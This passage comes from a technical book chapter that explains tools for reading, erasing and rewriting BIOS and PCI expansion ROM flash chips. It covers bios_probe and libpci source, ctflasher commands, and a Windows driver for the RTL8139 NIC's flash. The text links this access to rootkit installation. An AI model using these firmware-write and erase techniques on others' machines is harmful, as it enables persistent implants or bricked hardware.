        printf("done\n"); 
 
    } else { 



        if ((image = fopen (filename, "rb")) == NULL) { 
            // Error handler code omitted 
            exit(1); 
        } 
        fread (buf, sizeof(char), size, image); 
        fclose(image); 
    } 
 
    if (write_it || (!read_it && !verify_it)) 
        flash->write(flash, buf); 
    if (verify_it) 
        verify_flash(flash, buf, /* verbose = */ 0); 
 
    // Irrelevant code omitted 
} 
 
 After fulfilling the user request, the main function then cleans up the resources it 
used and terminates bios_probe execution. Up to this point, the bios_probe execution 
path should be clear to you. 
 One important fact has been uncovered so far. Pay attention to the Winbond 
W39V040FA datasheet snippet in tables 9.1 and 9.2. It's clear that if the BIOS initializes 
the lock-down bit to 1 during boot, you won't be able to access the BIOS chip. Therefore, a 
rootkit cannot be installed to the BIOS chip from within the operating system because of 
the hardware protection. 
 I experimented with a DFI 865PE Infinity motherboard25 to confirm that the lock-
down bit works. Indeed, it does. When I set the lock-down bit in Windows, the chip is 
inaccessible for reading and for writing. Reading the BIOS chip address space returns 0 
bytes, and writing is impossible. 
 
 
9.3.2.2. The PCI Library 
 
 The PCI library in the Windows version of bios_probe is based on pciutils 
version 2.1.11 for Linux. Nonetheless, many functions and files have been removed to 
make it as slim as possible. In this subsection, I highlight the important parts of the library. 
From this point on, I refer to the Windows version of the PCI library as libpci. 
 Libpci source code is a standalone static library. However, it needs the Windows 
equivalent of the direct I/O functions26 in Linux to compile. In bios_probe, they are 
provided in direct_io.h and direct_io.c files. 
 Libpci is used in bios_probe during execution of the enable_flash_write 
function to detect the southbridge and enable access to the BIOS chip, as shown in listing 
9.24. 
 

                                                 
25 DFI 865PE Infinity uses an Intel ICH5 southbridge and a Winbond W39V040FA flash ROM chip. 
26 The direct I/O functions are inb, outb, inw, out, inl, and outl. 



Listing 9.24 Usage of libpci by the Main Application 

/* 
 * file: flash_rom.c (main application of flash_n_burn) 
 */ 
// Irrelevant code omitted 
int enable_flash_write() { 
  int i; 
  struct pci_access *pacc; 
  struct pci_dev *dev = 0; 
  FLASH_ENABLE *enable = 0; 
 
  pacc = pci_alloc();           /* Get the pci_access structure */ 
  /* Set all options you want; I stick with the defaults */ 
  pci_init(pacc);               /* Initialize the PCI library */ 
  pci_scan_bus(pacc);           /* Get the list of devices */ 
 
  /* Try to find the chipset used */ 
  for(i = 0; i < sizeof(enables)/sizeof(enables[0]) && (! dev); i++) { 
    struct pci_filter f; 
    struct pci_dev *z; 
    /* The first parameter is unused */ 
    pci_filter_init((struct pci_access *) 0, &f); 
    f.vendor = enables[i].vendor; 
    f.device = enables[i].device; 
    for(z=pacc->devices; z; z=z->next) 
      if (pci_filter_match(&f, z)) { 
      enable = &enables[i]; 
      dev = z; 
      } 
  } 
 
  /* Do the deed */ 
  if (enable) { 
      printf("Enabling flash write on %s...", enable->name); 
      if (enable->doit(dev, enable->name) == 0) 
          printf("OK\n"); 
  } 
  return 0; 
} 
// Irrelevant code omitted 
 
 Listing 9.24 shows how enable_flash_write works. It allocates the resources 
needed to access the PCI bus by calling the pci_alloc function. This function is declared 
in the pci.h file and implemented in access.c. The resource allocation in it is shown in 
listing 9.25. Note that I removed many PCI access methods from the original pciutils 
PCI library. The ones left provide only direct access to the hardware. I have to do so 
because the other access methods are only supported in Linux or UNIX but not in 
Windows. 
 



Listing 9.25 The pci_alloc Function 

static struct pci_methods *pci_methods[PCI_ACCESS_MAX] = { 
  &pm_intel_conf1, // PCI configuration mechanism 1 for x86 architecture 
  &pm_intel_conf2, // PCI configuration mechanism 2 for x86 architecture 
}; 
 
struct pci_access * pci_alloc(void) 
{ 
  struct pci_access *a = malloc(sizeof(struct pci_access)); 
  int i; 
 
  memset(a, 0, sizeof(*a)); 
  for(i=0; i<PCI_ACCESS_MAX; i++) 
    if (pci_methods[i] && pci_methods[i]->config) 
      pci_methods[i]->config(a); 
  return a; 
} 
 
 Then, enable_flash_write initializes the function pointers for the 
pci_access object previously allocated in the pci_alloc function by calling the 
pci_init function. The pci_init function is also implemented in the access.c file. It's 
shown in listing 9.26. 
 

Listing 9.26 The pci_init Function 

void pci_init(struct pci_access *a) 
{ 
  if (!a->error) 
    a->error = pci_generic_error; 
  if (!a->warning) 
    a->warning = pci_generic_warn; 
  if (!a->debug) 
    a->debug = pci_generic_debug; 
 
  if (a->method) 
    { 
      if (a->method >= PCI_ACCESS_MAX || !pci_methods[a->method]) 
      a->error("This access method is not supported.\n"); 
      a->methods = pci_methods[a->method]; 
    } 
  else 
    { 
      unsigned int i; 
      for(i=0; i<PCI_ACCESS_MAX; i++) 
       if (pci_methods[i]) 
         { 
           a->debug("Trying method %d...\n", i); 
           if (pci_methods[i]->detect(a)) 
             { 



              a->debug("...OK\n"); 
              a->methods = pci_methods[i]; 
              a->method = i; 
              break; 
             } 
           a->debug("...No.\n"); 
         } 
      if (!a->methods) 
       a->error("Cannot find any working access method."); 
    } 
  a->debug("Decided to use %s\n", a->methods->name); 
 
  if( NULL != a->methods->init ) 
  {  a->methods->init(a); } 
} 
 
 After the access method for the PCI bus is established, enable_flash_write 
scans the bus by calling the pci_scan_bus function. This function is also implemented in 
the access.c file. It's shown in listing 9.27. 
 

Listing 9.27 The pci_scan_bus Function 

void pci_scan_bus(struct pci_access *a) 
{ 
  a->methods->scan(a); 
} 
 
 Following PCI bus scanning, enable_flash_write initializes the so-called PCI 
filter to prepare to match the bus scanning result to the southbridge supported by 
flash_n_burn. This task is accomplished by calling the pci_filter_init function. 
The matching process is accomplished in the pci_filter_match function. Both of these 
functions are implemented in the filter.c file, as shown in listing 9.28. 
 

Listing 9.28 The pci_filter_init and pci_filter_match Functions 

void pci_filter_init(struct pci_access * a, struct pci_filter *f) 
{ 
  f->bus = f->slot = f->func = -1; 
  f->vendor = f->device = -1; 
} 
 
int pci_filter_match(struct pci_filter *f, struct pci_dev *d) 
{ 
  if ((f->bus >= 0 && f->bus != d->bus) || 
      (f->slot >= 0 && f->slot != d->dev) || 
      (f->func >= 0 && f->func != d->func)) 
    return 0; 
  if (f->device >= 0 || f->vendor >= 0) 



    { 
      pci_fill_info(d, PCI_FILL_IDENT); 
      if ((f->device >= 0 && f->device != d->device_id) || 
         (f->vendor >= 0 && f->vendor != d->vendor_id)) 
       return 0; 
    } 
  return 1; 
} 
 
 As you can see in listing 9.28, the bus scanning result and the supported 
southbridges are matched by comparing the vendor identifier and the user identifier of the 
corresponding PCI chips. My explanation on libpci ends here. It should be enough for 
you to traverse the source code on your own and understand how it works. 
 You can see the screenshot of bios_probe in action in figure 9.5. 
 

 
Figure 9.5 bios_probe version 0.26 screenshot 

 
 Figure 9.5 shows bios_probe dumping the contents of the DFI 865PE Infinity 
motherboard into a file named dump.bin. The flash ROM chip in this motherboard is a 
Winbond W39V040FA. The explanation about methods used to access the motherboard 
BIOS chip ends here. Move to a more challenging theme in the upcoming sections: 
methods to access PCI expansion ROM within the operating system. 
 
 
9.4. Accessing PCI Expansion ROM Contents in Linux 
 
 You might think that accessing the contents of PCI expansion ROM in Linux will 
be tough. That's not the case. There are already source codes on the Web that can help you. 
One open source project that deals with PCI expansion ROM is the ctflasher project. This 
project is at http://ctflasher.sourceforge.net. As of the writing of this book, Ctflasher was 



releasing source code version 3.5.0. With this utility, you can read, erase, and verify the 
supported flash ROMs in the PCI expansion card directly in Linux. Ctflasher supports 
kernel versions 2.4 and 2.6. Currently, ctflasher only supports some network interface cards 
(NICs), the proprietary ctflasher card, the SiS 630 motherboard, and a flasher card that 
connects through the IDE port. 
 The architecture of ctflasher is based on an LKM. Thus, to use it, you have to load 
the kernel module in advance. After the LKM has been loaded, you can access the flasher 
through the /proc interface by using the cat command. The HOWTO file from ctflasher 
version 3.5.0 explains the usage as follows: 
 

First do a "make all." All modules will be placed in modules. 
Do a "cd modules." There should be 8 files. 
 
For kernel 2.4, these files are 
 
flash.o                  -- The main module, containing algorithms for 
programming flashprom 
ct.o                       -- Low-level driver for ctflasher  
ide_flash.o           -- Low-level driver for ide-flasher 
e100_flash.o        -- Low-level driver for Intel nic e100 
3c90xc_flash.o    -- Low-level driver for Intel nic 3c905c 
rtl8139_flash.o    -- Low-level driver for Realtek nic 8139 
sis630_flash.o     -- Low-level driver for north–southbridge SiS 630 (BIOS) 
via-rhine_flash.o -- Low-level driver for via Rhine nic 
 
While for kernel 2.6, these files are 
 
flash.ko            -- The main module, containing algorithms for programming 
flashprom 
ct.ko               -- Low-level driver for ctflasher 
ide_flash.ko        -- Low-level driver for ide-flasher 
e100_flash.ko       -- Low-level driver for Intel nic e100 
3c90xc_flash.ko     -- Low-level driver for Intel nic 3c905c 
rtl8139_flash.ko    -- Low-level driver for Realtek nic 8139 
sis630_flash.ko     -- Low-level driver for north–southbridge SiS 630 (BIOS) 
via-rhine_flash.ko  -- Low-level driver for via Rhine nic 
 
 
You must load the main module "flash.o" and the low-level driver (for 
example, ct.o). It doesn't matter what order the modules are loaded in. 
 
For kernel 2.2 and 2.4 
"insmod flash.o" 
"insmod ct.o" 
 
For kernel 2.6 
"insmod flash.ko" 
"insmod ct.ko" 
 
Depending on the loaded modules you have 3 files. 
/proc/.../info 
/proc/.../data 



/proc/.../erase 
 
The "..." stand for the hardware-dependent part of the path: 
ct.o                                  ctflasher 
ide_flash.o                        ide-flasher/PLCC32 and ide-flasher/DIL32 
e100_flash.o                     e100-flash/device? 
3c90xc_flash.o                  3c90xc-flash/device? 
rtl8139_flash.o                  rtl8139-flash/device? 
sis630_flash.o                   sis630-flash 
via-rhine_flash.o               via-rhine-flash/device? 
 
So, the info file for the ide-flasher's PLCC socket is /proc/ide-
flasher/PLCC32/info. 
 
For information about the hardware and the inserted flash do 
 
"cat /proc/.../info" 
 
For erasing the flash do 
 
"cat /proc/.../erase" 
 
For reading the content of flash do 
 
"cat /proc/.../data >my_file" 
 
For programming (and erasing) the flash do 
 
"cat my_image >/proc/.../data" 
 
Verify is done automatically. 
 
If you forget the main module "flash.o," you may get 
"cat: /proc/.../data: Device or resource busy." 

 
 Because ctflasher is released under general public license and BSD license, you 
can use the code without charge in your software. As explained in the previous subsections, 
to understand ctflasher source code without wasting your precious time, you can use ctags 
and vi to help traversing the source code. The directory structure of the source code is 
shown in figure 9.6. 
 



 
Figure 9.6 Ctflasher directory structure 

 
 In figure 9.6, ctflasher source code is placed in the directory named 
flasher_3.5.0. There are dedicated directories for the flash model that it supports, 
namely, nics, bios, ct, and ide. Nics contains source code related to PCI network 
interface cards that ctflasher supports. Bios contains source code for a motherboard based 
on the SiS 630 chipset. Ct contains source code for the proprietary ctflasher hardware. Ide 
contains files for the IDE flasher interface.  
 The directory named modules is empty at first. It will be filled by ctflasher's 
LKM when you have finished compiling the code. The directory named build2.6 
contains the makefile for kernel 2.6. Finally, the directory named flash contains the 
source code for the flash ROM chip supported by ctflasher. 
 Ctflasher source code is well structured, and it's easy to understand. For PCI NIC, 
you start to learn the ctflasher source code by studying the NIC support files in the nics 
directory and then proceed to the flash directory to learn about the flash ROM–related 
routines. The PCI NIC support file provides routines needed to access the flash ROM 
onboard, and the flash ROM support file provides the specific write, erase, and read routine 
for the corresponding flash ROM chip. 



 I explain the routine for manipulating the flash ROM chip onboard a PCI NIC in 
the next subsection. Even though Linux and Windows differ greatly, the principles and 
logic is the same for this task in both operating systems. Thus, the contents of the next 
subsection should help you understand ctflasher source code. 
 
 
9.5. Accessing PCI Expansion ROM Contents in Windows 
 
 In this section, you will learn about techniques to manipulate PCI expansion ROM 
directly in Windows. Before reading about the access method, I recommend that you to 
review the XROMBAR concept in chapter 7, section 7.1.4. After reading that section, you 
might think that, just as you are accessing the system BIOS in the motherboard, you will 
use a memory-mapping trick to access the contents of the PCI expansion ROM, Akin to the 
explanation in section 9.3. That trick might work for some PCI NICs. However, some PCI 
NICs don't use their XROMBAR. I mean, you don't access the contents of the ROM by 
using the XROMBAR. I give an example of such a NIC in this section, i.e., NIC based on 
the Realtek RTL813927 chip. 
 The source code of the program that I explain here can be downloaded at 
http://www.megaupload.com/?d=ZW8C9CQ9. The software is a revamped version of the 
bios_probe that you learned in section 9.3. This is bios_probe version 0.31. It has 
support for one type of PCI NIC and one type of flash ROM, i.e., Realtek 8139 NIC and 
Atmel AT29C512 flash ROM. I explain the details of the source code in section 9.5.3. You 
need some prerequisite knowledge to understand it. Thus, I provide some sections for that 
purpose. Have fun. 
 
 
9.5.1. The RTL8139 Address-Mapping Method 
 
 The contents of the flash ROM on a NIC based on the RTL8139 chip are not 
directly accessible in the physical memory address space of the CPU. RTL8139 maps the 
flash ROM in the I/O address space, not in the memory address space. The first PCI BAR 
in RTL8139 carries out the mapping.28 This BAR has its least significant bit hardwired to 
one, which means it's mapped to I/O space. The following is a condensed snippet from the 
RTL8139 datasheet.29 You can view and download this datasheet for free at 
http://pdf1.alldatasheet.com/datasheet-pdf/view/84677/ETC/RTL8139.html. 
 

PCI Configuration Space Table 
... 
IOAR:30 This register specifies the BASE I/O address, which is required to 
build an address map during configuration. It also specifies the number of 

                                                 
27 The Realtek 8139 family of chips currently consists of four variants: RTL8139A, RTL8139B, 
RTL8139C, and RTL8139D. I refer to them collectively as RTL8139. 
28 The first BAR is the 32-bit register at offset 10h in the PCI configuration space of the device. 
29 The datasheet is free from Realtek's website. 
30 IOAR is the first BAR, located at offset 10h. 



bytes required, as well as an indication that it can be mapped into I/O 
space. 
 

Bit Symbol Description 
31–8 IOAR 31-8 BASE I/O Address: This is set by software to the 

base I/O address for the operational register 
map. 

7–2 IOSIZE Size Indication: Read back as 0. This allows the 
PCI bridge to determine that the RTL8139C(L) 
requires 256 bytes of I/O space. 

1 — Reserved 
0 IOIN I/O Space Indicator: Read only. Set to 1 by the 

RTL8139C(L) to indicate that it is capable of 
being mapped into I/O space. 

 
 As you see in the preceding datasheet snippet, the address range used by RTL8139 
chip is hardwired to the I/O address space. This means that anything resides "behind" this 
chip and need some addressing method will be accessible only through the I/O address 
range claimed by RTL8139. That includes the flash ROM in the NIC. 
 The RTL8139 chip defines 256 registers that are relocatable in the PCI memory 
address space or the I/O address space. The size of each register is 1 byte. Four consecutive 
registers among them are used to access the contents of the flash ROM, namely, registers 
D4h–D7h. Note that these registers are not the PCI configuration register of the chip. They 
are a different set of registers. You can read and write to these registers. Table 9.3 shows 
the meaning and functionality of the bits within these registers. 
 

Bit R/W Symbol Description 
31–24 R/W MD7–MD0 Flash Memory Data Bus: These bits set and reflect the 

state of the MD7–MD0 pins during the write and the read 
process. 

23–21 — — Reserved 
20 W ROMCSB Chip Select: This bit sets the state of the ROMCSB pin. 
19 W OEB Output Enable: This bit sets the state of the OEB pin. 
18 W WEB Write Enable: This bit sets the state of the WEB pin. 
17 W SWRWEn Enable software access to flash memory: 

0: Disable read/write access to flash memory using 
software. 
1: Enable read/write access to flash memory using 
software and disable the EEPROM access during flash 
memory access via software. 

16–0 W MA16–MA0 
 

Flash Memory Address Bus: These bits set the state of 
the MA16–MA0 pins. 
 

Table 9.3 Flash Memory Read/Write Register (Offset 00D4h–00D7h, R/W) 

 
 After reading table 9.3, it's clear that to access the flash ROM, you need to do a 
read/write operation to register D4h–D7h of RTL8139. However, you have to determine 



where they are located in the I/O address space, because they are relocatable because of the 
nature of the PCI bus. 
 The I/O base is detected with the following steps: 
 

1. Scan the PCI bus to check for the presence of the RTL8139 PCI device, i.e., a PCI 
device with a vendor identifier of 10ECh and device identifier of 8139. 

2. Once RTL8139 has been located, read the first BAR in the device to determine its 
I/O base address. Remember that the last two bits in the BAR value must be 
discarded because it's only a hardwired bit to aid in determining that device is 
mapped to the I/O space. They are not to be used in addressing. 

 
 A single byte from the flash ROM "behind" RTL8139 must be read in two steps, 
as follows: 
 

1. Write the address of the byte inside the flash ROM that you want to read. This step 
must be carried out as the control bits in register D6h are set as follows: 
a. Set the SWRWEn bit to one. This enables access to flash ROM through 

RTL8139. 
b. Set the WEB bit to one. The pin that this bit controls is active low. Thus, when 

you set this bit to one, the pin is deactivated, which means you are not doing a 
write transaction to the flash ROM chip. 

c. Set the ROMCSB bit to zero. The pin that this bit controls is active low. Thus, 
when you set this bit to zero, you effectively activate the "chip select" line 
where the pin is attached. 

d. Set the OEB bit to zero. The pin that this bit controls is active low. Thus, when 
you set this bit to zero, you effectively activate the "output enable" line where 
the pin is attached. 

2. Read the value from register D7h in Realtek 8139. 
 
This logic is similar to reading the contents of the PCI configuration register. 
 As for writing a single byte, it can't be done, because RTL8139 only supports 
sectored flash ROM. Thus, when you want to change a single byte in the flash ROM, you 
have to write the whole sector and you have to set the values of the four control bits in 
register D6h accordingly. The write operation is a bit more complex. Thus, I provide in 
figure 9.7 a block diagram to show the process of writing the whole sector. 
 



 
Figure 9.7 Method for writing a single sector to flash ROM in RTL8139 NIC 

 
 Figure 9.7 will be clear when you arrive in the source code implementation. At 
this point, you have mastered the prerequisite to work with RTL8139. 
 
 
9.5.2. The Atmel AT29C512 Access Method 
 



 Almost all aspects of carrying out transactions with Atmel AT29C512 through the 
RTL8139 chip were explained in the previous subsection. The remaining information 
specific to AT29C512 explains how to erase the chip contents and how long the delay must 
be when you have written a single sector to it. 
 AT29C512 needs a 10-msec (maximum) delay to write a single sector. However, 
my experiment shows that an approximately 9-msec delay is enough. 
 To delete the entire chip, you need to write specific values to specific addresses in 
the chip. Doing so is described in Software Chip Erase Application Note for AT29 Series 
Flash Family. These bytes sequence will be shown in the source code implementation. You 
can find the related documentation online at 
http://www.atmel.com/dyn/products/product_card.asp?family_id=624&family_name=Flash
+Memory&part_id=1803. 
 
 
9.5.3. Implementing the Methods in Source Code 
 
 I'm using the bios_probe source code as the starting point to implement the 
methods to access the flash ROM in RTL8139 in Windows. I'm doing it to reduce 
development time. However, I have to remind you that current support for PCI expansion 
ROM in the source is a "quick hack." It's not seamlessly integrated into the overall source 
code because a strict timing requirement dictates that some part of the code must run in the 
device driver. The modifications I use to allow support for PCI expansion ROM in 
bios_probe are adding some new files for the user-mode application and adding new files 
to the device driver. The latter adds support for the time-critical part of the code. The rest of 
the files are also modified to accommodate these changes. These are the new files in the 
user-mode application source code: 
 

• pci_cards.h. This file defines the data structures to virtualize access to the PCI 
expansion card. 

• pci_cards.c. This file virtualizes access to PCI expansion cards. 
• rtl8139.h. This file declares read and write functions to flash ROM in RTL8139 

NIC. 
• rtl8139.c. This file implements read and write functions to flash ROM in 

RTL8139 NIC. 
• at29c512.h. This file declares read, write, erase, and probe functions for 

AT29C512 flash ROM. 
• at29c512.c. This file implements read, write, erase, and probe functions for 

AT29C512 flash ROM. 
 
 These are the new files in the device driver source code: 
 

• rtl8139_hack.h. This file declares a specific function to write to AT29C512 flash 
ROM when it's placed in RTL8139 NIC. 

• rtl8139_hack.c. This file implements the function declared in rtl8139_hack.h. 
 



 Before I show you the content of these new files, I explain the changes that I made 
to accommodate this new feature in the other source code files. The first change is in the 
main file of the user-mode application: flash_rom.c. I added three new input commands to 
read, write, and erase the contents of PCI expansion ROM. 
 

Listing 9.29 Changes in flash_rom.c to Support PCI Expansion ROM 

/* 
 * file: flash_rom.c 
 */ 
// Irrelevant code omitted 
#include "pci_cards.h" 
 
// Irrelevant code omitted 
void usage(const char *name) 
{ 
       printf("usage: %s [-rwv] [-c chipname][file]\n", name); 
       printf("       %s  -pcir [file]\n", name); 
       printf("       %s  -pciw [file]\n", name); 
       printf("       %s  -pcie \n", name); 
 
       printf( "-r:    read flash and save into file\n" 
               "-rv:   read flash, save into file and verify result " 
                     "against contents of the flash\n" 
               "-w:    write file into flash (default when file is " 
                     "specified)\n" 
              "-wv:   write file into flash and verify result against" 
                     " original file\n" 
              "-c:    probe only for specified flash chip\n" 
              "-pcir: read pci ROM contents to file\n" 
              "-pciw: write file contents to pci ROM and verify the " 
                     "result\n" 
              "-pcir: read pci ROM contents to file\n" 
              "-pcie: erase pci ROM contents\n"); 
    exit(1); 
} 
 
// Irrelevant code omitted 
int main (int argc, char * argv[]) 
{ 
// Irrelevant code omitted 
       } else if(!strcmp(argv[1],"-pcir")) { 
              pci_rom_read = 1; 
              filename = argv[2]; 
 
       } else if(!strcmp(argv[1],"-pciw")) { 
              pci_rom_write = 1; 
              filename = argv[2]; 
 
       } else if(!strcmp(argv[1],"-pcie")) { 



              pci_rom_erase = 1; 
 
// Irrelevant code omitted 
 
       // 
       // If it's a PCI probing task, handle it and terminate after that 
       // 
       if( pci_rom_read ) 
       { 
              // Find Realtek 8139 NIC 
              card = find_pci_card( 0x10EC, 0x8139); 
              if( NULL != card ) 
              { 
                     probe_pci_rom(card); 
              } 
 
              if( (NULL != card) && ( NULL != card->rom ) ) 
              { 
                     printf("PCI ROM type = %s \n", card->rom->name); 
 
                     size = card->rom->total_size * 1024; 
                     buf = (char *) calloc(size, sizeof(char)); 
 
                     if(buf == NULL) 
                     { 
                     // Irrelevant code omitted 
                            return 0; 
                     } 
 
                     if((image = fopen( filename, "wb" )) == NULL ) { 
                     // Irrelevant code omitted 
                            return 0; 
                     } 
 
                     card->rom->read(card, buf); 
 
                     fwrite(buf, sizeof(char), size, image); 
                     fclose(image); 
                     free(buf); 
                     printf("done\n"); 
              } 
 
              CleanupDriver(); // Cleanup driver interface 
              return 0; 
       } 
       else if(pci_rom_write) 
       { 
              // Find Realtek 8139 NIC 
              card = find_pci_card( 0x10EC, 0x8139); 
              if( NULL != card ) 
              { 



                     probe_pci_rom(card); 
              } 
 
              if( (NULL != card) && ( NULL != card->rom ) ) 
              { 
                     printf("PCI ROM type = %s \n", card->rom->name); 
 
                     size = card->rom->total_size * 1024; 
                     buf = (char *) calloc(size, sizeof(char)); 
 
                     if(buf == NULL) 
                     { 
                     // Irrelevant code omitted 
                            return 0; 
                     } 
 
                     if((image = fopen( filename, "rb" )) == NULL ) { 
                            // Irrelevant code omitted 
                            return 0; 
                     } 
 
                     fread (buf, sizeof(char), size, image); 
 
                     card->rom->write(card, buf); 
 
                     fclose(image); 
                     free(buf); 
                     printf("done\n"); 
              } 
 
 
              CleanupDriver(); // Cleanup driver interface 
              return 0; 
       } 
       else if(pci_rom_erase) 
       { 
              // Find Realtek 8139 NIC 
              card = find_pci_card( 0x10EC, 0x8139); 
              if( NULL != card ) 
              { 
                     probe_pci_rom(card); 
              } 
 
              if( (NULL != card) && ( NULL != card->rom ) ) 
              { 
                     printf("PCI ROM type = %s \n", card->rom->name); 
                     card->rom->erase(card); 
              } 
 
              CleanupDriver(); // Cleanup driver interface 
              return 0; 



       } 
// Irrelevant code omitted 
} 
 
 The files to interface with the driver in the user-mode application (direct_io.c and 
interfaces.h) are changed as well. 
 

Listing 9.30 Changes in direct_io.c to Support PCI Expansion ROM 

/* 
 * file: direct_io.c 
 */ 
 
// Irrelevant code omitted 
 
void WriteRtl8139RomHack(ULONG ioBase, ULONG bufLength, UCHAR * buf) 
{ 
       DWORD bytesReturned; 
 
       // 
       // Set up the I/O base for RTL8139 in the device extension 
       // 
       if(ioBase == 0) return; 
 
       if( INVALID_HANDLE_VALUE == hDevice) { 
              printf("(WriteRtl8139RomHack) Error: the driver handle is " 
                     "invalid!\n"); 
              return; 
       } 
 
       if( FALSE == DeviceIoControl( hDevice, 
                                          IOCTL_RTL8139_IOBASE_HACK, 
                                          NULL, 
                                          0, 
                                          &ioBase, 
                                          sizeof(ioBase), 
                                          &bytesReturned, 
                                          NULL)) 
       { 
              DisplayErrorMessage(GetLastError()); 
              return; 
       } 
 
       // 
       // Instruct the driver to start writing into the flash ROM 
       // 
 
       if( INVALID_HANDLE_VALUE == hDevice) { 
              printf("(WriteRtl8139RomHack) Error: the driver handle is " 
                     "invalid!\n"); 



              return; 
       } 
 
       if( FALSE == DeviceIoControl( hDevice, 
                                          IOCTL_RTL8139_ROM_WRITE_HACK, 
                                          NULL, 
                                          0, 
                                          buf, 
                                          bufLength, 
                                          &bytesReturned, 
                                          NULL)) 
       { 
              DisplayErrorMessage(GetLastError()); 
              return; 
       } 
} 

Listing 9.31 Changes in interfaces.h to Support PCI Expansion ROM 

// Irrelevant code omitted 
#define IOCTL_RTL8139_ROM_WRITE_HACK    CTL_CODE(FILE_DEVICE_UNKNOWN, 
             0x080B, METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA) 
#define IOCTL_RTL8139_IOBASE_HACK   CTL_CODE(FILE_DEVICE_UNKNOWN, 0x080C, 
             METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA) 
// Irrelevant code omitted 
 
 Note that interfaces.h is used both in the driver and in the user-mode application 
source code. I define two new IOCTL codes to support accessing the PCI expansion ROM. 
 On the driver side, I made a small change to the device extension data structure to 
support RTL8139 NIC. It's shown in listing 9.32. 
 

Listing 9.32 Change in bios_probe.h to Support PCI Expansion ROM 

typedef struct _DEVICE_EXTENSION{ 
    MMIO_RING_0_MAP mapZone[MAX_MAPPED_MMIO]; 
    ULONG rtl8139IoBase; // Quick hack! 
}DEVICE_EXTENSION, *PDEVICE_EXTENSION; 
 
 The core driver file, bios_probe.c, is also adjusted to accommodate the changes. 
It's shown in listing 9.33. 
 

Listing 9.33 Changes in bios_probe.c to Support PCI Expansion ROM 

// Irrelevant code omitted 
#include "rtl8139_hack.h" 
 
// Irrelevant code omitted 
NTSTATUS DriverEntry( IN PDRIVER_OBJECT  DriverObject, 
                      IN PUNICODE_STRING RegistryPath ) 



{ 
    PDEVICE_EXTENSION pDevExt; 
 
 // Irrelevant code omitted 
 
    pDevExt->rtl8139IoBase = 0; // Quick hack! 
 
 // Irrelevant code omitted 
} 
 
// Irrelevant code omitted 
NTSTATUS DispatchIoControl( IN PDEVICE_OBJECT pDO, IN PIRP pIrp) 
{ 
    NTSTATUS status = STATUS_SUCCESS; 
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(pIrp); 
    ULONG * pIoBase = NULL; 
    ULONG bufLength, i; 
    UCHAR * buf; 
    PDEVICE_EXTENSION pDevExt; 
 
    switch(irpStack->Parameters.DeviceIoControl.IoControlCode) 
    { 
       // Irrelevant code omitted 
       case IOCTL_RTL8139_IOBASE_HACK: // Must be called before 
                                       //IOCTL_RTL8139_ROM_WRITE_HACK 
                                       // (writing into RTL8139 ROM) 
           { 
              if(irpStack->Parameters.DeviceIoControl.OutputBufferLength 
                     >= sizeof(ULONG)) { 
 
                  pIoBase = (ULONG*) MmGetSystemAddressForMdlSafe( 
                                   pIrp->MdlAddress, NormalPagePriority); 
                  pDevExt = (PDEVICE_EXTENSION) pDO->DeviceExtension; 
                  pDevExt->rtl8139IoBase =  *pIoBase; 
 
              } else { 
                  status = STATUS_BUFFER_TOO_SMALL; 
              } 
           }break; 
 
       case IOCTL_RTL8139_ROM_WRITE_HACK: // Must be called after 
                                          // IOCTL_RTL8139_IOBASE_HACK 
           { 
              bufLength = 
              irpStack->Parameters.DeviceIoControl.OutputBufferLength; 
 
              DbgPrint("IOCTL_RTL8139_ROM_WRITE_HACK: " 
                            "buffer length = %d\n", bufLength); 
 
              buf = (UCHAR*) MmGetSystemAddressForMdlSafe( 
                             pIrp->MdlAddress, NormalPagePriority); 



 
        pDevExt = (PDEVICE_EXTENSION) pDO->DeviceExtension; 
 
              DbgPrint("IOCTL_RTL8139_ROM_WRITE_HACK:" 
              " pDevExt->rtl8139IoBase = %X\n", pDevExt->rtl8139IoBase); 
 
              WriteRtl8139RomHack(pDevExt->rtl8139IoBase, bufLength, 
                                   buf); 
           }break; 
    } 
// Irrelevant code omitted 
 
} 
 
 I used the call to the DbgPrint function in listing 9.33 when I was debugging the 
device driver. You can use the DebugView utility from Sysinternals to view the debug 
messages. DebugView is free of charge. To use it, run DebugView and activate the 
Capture|Capture Kernel, Capture|Pass-Through, and Capture|Capture Events 
options. Disable the Capture|Capture Wind32 option because it will clutter the output 
with unnecessary messages. The sample output for this driver is shown in figure 9.8. 
 

 
Figure 9.8 DebugView output for the bios_probe driver 

 
 You already know the changes in the bios_probe files that you learned in section 
9.3 to accommodate the new PCI expansion ROM feature. There are the new files in source 
code version 0.31. Start with the new files in the driver. 
 

Listing 9.34 Contents of rtl8139_hack.h 

#ifndef __RTL8139_HACK_H__ 
#define __RTL8139_HACK_H__ 
 
#include<ntddk.h> 



 
void WriteRtl8139RomHack(ULONG ioBase, ULONG bufLength, UCHAR * buf); 
 
#endif //__RTL8139_HACK_H__ 

Listing 9.35 Contents of rtl8139_hack.c 

#include <ntddk.h> 
 
enum { 
 SECTOR_SIZE = 128, 
}; 
 
// Count to a billion and time it; if it's < 1 sec, count to 10 billion; 
etc. 
static unsigned long micro = 1; 
 
static void usec_delay(int time) 
{ 
  volatile unsigned long i; 
  for(i = 0; i < time * micro; i++) 
       ; 
} 
 
static int usec_calibrate_delay() 
{ 
    int count = 1000; 
    unsigned long timeusec; 
    int ok = 0; 
    LARGE_INTEGER freq, cnt_start, cnt_end; 
 
    DbgPrint("Setting up microsecond timing loop\n"); 
 
    // Query the number of counts per second 
    KeQueryPerformanceCounter(&freq); 
    if( freq.QuadPart < 1000000) 
    { 
       return 0; // fail 
    } 
 
    while (! ok) { 
 
       cnt_start = KeQueryPerformanceCounter(NULL); 
       usec_delay(count); 
       cnt_end = KeQueryPerformanceCounter(NULL); 
 
       timeusec = (ULONG)(((cnt_end.QuadPart - cnt_start.QuadPart) * 
                           1000000) / freq.QuadPart); 
 
       count *= 2; 
       if (timeusec < 1000000/4) 
              continue; 



 
       ok = 1; 
    } 
 
    // Compute 1 msec; that will be count / timeusec 
    micro = count / timeusec; 
 
    DbgPrint("%ldM loops per second\n", (unsigned long)micro); 
 
    return 1; // Success 
} 
 
 
static UCHAR __inline inb(USHORT port) 
{ 
    UCHAR val; 
 
    __asm 
    { 
       pushad        ;// Save all register contents 
 
       mov dx, port  ;// Fetch the input port address 
       in  al, dx    ;// Read the byte from the port 
       mov val, al   ;// Put the result into the local variable 
 
       popad         ;// Restore all saved register values 
    } 
